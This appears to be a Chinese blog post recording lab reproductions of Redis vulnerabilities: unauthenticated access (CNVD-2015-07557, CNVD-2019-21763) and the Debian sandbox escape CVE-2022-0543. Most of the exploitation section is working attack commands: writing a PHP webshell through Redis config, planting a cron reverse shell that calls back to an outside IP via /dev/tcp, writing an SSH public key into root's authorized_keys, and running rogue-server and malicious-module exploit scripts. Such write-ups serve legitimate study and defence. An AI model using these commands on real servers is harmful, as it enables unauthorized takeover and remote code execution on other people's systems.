首页 > 数据库 >Redis漏洞总结--未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543)

Redis漏洞总结--未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543)

时间:2023-09-20 23:34:48浏览次数:37  
标签:set -- CNVD Redis 漏洞 && 授权

Redis未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543)

环境复现

采用Vulfocus靶场进行环境复现,官网docker搭建有问题,具体搭建教程参考vulfocus不能同步的解决方法/vulfocus同步失败

CNVD-2015-07557未授权访问

影响版本

Redis <= 5.0.5

漏洞探测

使用端口扫描工具等探测到目标主机使用了Redis服务
对于Redis服务的未授权访问,首先需要确认Redis未授权是否存在,使用Redis数据库客户端进行连接测试,如何没有密码,即未授权漏洞存在。
客户端连接工具Another Redis Desktop Manager
具体表现如下
在这里插入图片描述

漏洞利用

漏洞利用有三种利用方式,每种方式都有限制条件,本质就是使用Redis数据库操作语句在目标主机进行写入文件。

  • 写入Webshell
    利用条件:Web目录权限可读写
config set dir /tmp            #设置WEB写入目录
config set dbfilename 1.php    #设置写入文件名
set test "<?php phpinfo();?>"  #设置写入文件代码
bgsave                         #保存执行
save                           #保存执行

注意:部分没目录权限读写权限

  • 写定时任务反弹shell
    利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态,centos会忽略乱码去执行格式正确的任务计划 ,而ubuntu并不会忽略这些乱码,所以导致命令执行失败
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
save
  • 写入ssh-key公钥
    利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
    允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx
//以上步骤在自己的攻击机器上执行
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@目标IP

详细利用步骤可参考Redis未授权访问漏洞复现与利用

python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP

该脚本需要运行在VPS上,脚本运行后,目标主机会向攻击机回传信息。

CNVD-2019-21763 未授权访问

影响版本

Redis 2.x,3.x,4.x,5.x
由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行

漏洞利用

  • 自动化脚本
    同上

沙箱绕过CVE-2022-0543

影响版本

Debian 系的 Linux 发行版本 + Ubuntu

CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码

漏洞利用

python3 redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

以上内容仅作学习记录,如有错误或瑕疵,欢迎批评指正,感谢阅读。

标签:set,--,CNVD,Redis,漏洞,&&,授权
From: https://www.cnblogs.com/Pengj/p/17718805.html

相关文章

  • Docker Desktop 界面功能介绍,添加国内镜像源
     镜像源修改设置默认情况下,DockerDesktop会从DockerHub下载镜像,但在国内由于网络的原因,下载速度可能较慢,配置国内镜像源可以提速镜像下载。在DockerDesktop中配置镜像源非常简单,点击1、2后,在3处粘贴如下内容,重启生效。{ "registry-mirrors":[  "https://mirror.c......
  • 可变参数与递归
    可变参数上章说到方法重载,对于不同数量(输入的参数类型不一致会报错)的参数我们可以通过方法重载的方式来解决,如果参数数量具有很强的不确定性,我们不可能写n个方法来一个一个定义,因此可变参数诞生了在方法声明中在指定参数类型后加一个省略号(...)如:int...i但是要注意的是一个方......
  • 9.20
    学习了vue的指令,做了个网页<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metahttp-equiv="X-UA-Compatible"content="IE=edge"><metaname="viewport"cont......
  • 关于.Net 6.0 在Linux ,Docker容器中,不安装任何依赖就生成图形验证码!!!!!!!!!!!
    在.NetFramework时代,我们生成验证码大多都是用System.Drawing。在.Net6中使用也是没有问题的。但是,System.Drawing却依赖于WindowsGDI+。为了实现跨平台,我陷入了沉思!! 微软推荐使用SkiaSharp进行替代,所以就开始了,踩坑之旅首先,安装SkiaSharp 编写好图形生成代码。......
  • 2、补充 收集数据、并行数据处理能力与性能
    第6章用Collectors类创建和使用收集器将数据流归约为一个值汇总:归约的特殊情况数据分组和分区开发你的自定义收集器对一个交易列表按货币分组,获得该货币的所有交易额总和(返回一个Map<Currency,Integer>)。将交易列表分成两组:贵的和不贵的(返回一个Map<Boolean,List>)。创......
  • java stream流的高端用法
    并行流(ParallelStream):Stream提供了parallel()方法,可以将普通的顺序流转换为并行流,以便使用多线程并发执行操作。例如:list.parallelStream().filter(...).map(...).forEach(...);并行流适用于对大规模数据进行操作,并且可以通过并行计算充分利用多核处理器的能力......
  • java stream流的高端用法
    并行流(ParallelStream):Stream提供了parallel()方法,可以将普通的顺序流转换为并行流,以便使用多线程并发执行操作。例如:list.parallelStream().filter(...).map(...).forEach(...);并行流适用于对大规模数据进行操作,并且可以通过并行计算充分利用多核处理器的能力......
  • 目标文件的格式
    编译器编译源代码后生成的文件叫做目标文件.目标文件从结构上讲,它是已经编译后的可执行文件格式,只是还没有经过链接的过程,其中可能有些符号或有些地址还没有被调整。其实它本身就是按照可执行文件格式存储的,只是跟真正的可执行文件在结构上稍有不同。现在PC平台流行的可执行文件......
  • chkconfig原理
    当给一个服务设置开机自启动时,就是在对应级别的脚本下面创建一个软链接,链接的名字S(启动)、K(关闭),数字是启动顺序,然后是服务名称,指向服务的位置;当更改某级别启动状态时,chkconfig会自动将相对应的目录下(各启动级别目录)的软连接删除重新创建;测试:[root@CentOS6~]#chkconfig--listsshd......
  • AtomicInteger类代码内部逻辑
    AtomicInteger是什么一个可以原子更新的int值。有关原子变量属性的描述,请参阅java.util.concurrent.atomic包规范。AtomicInteger用于原子递增计数器等应用程序,不能用作Integer的替代品。但是,这个类确实扩展了Number,以允许处理基于数字的类的工具和实用程序进行统一访问。设......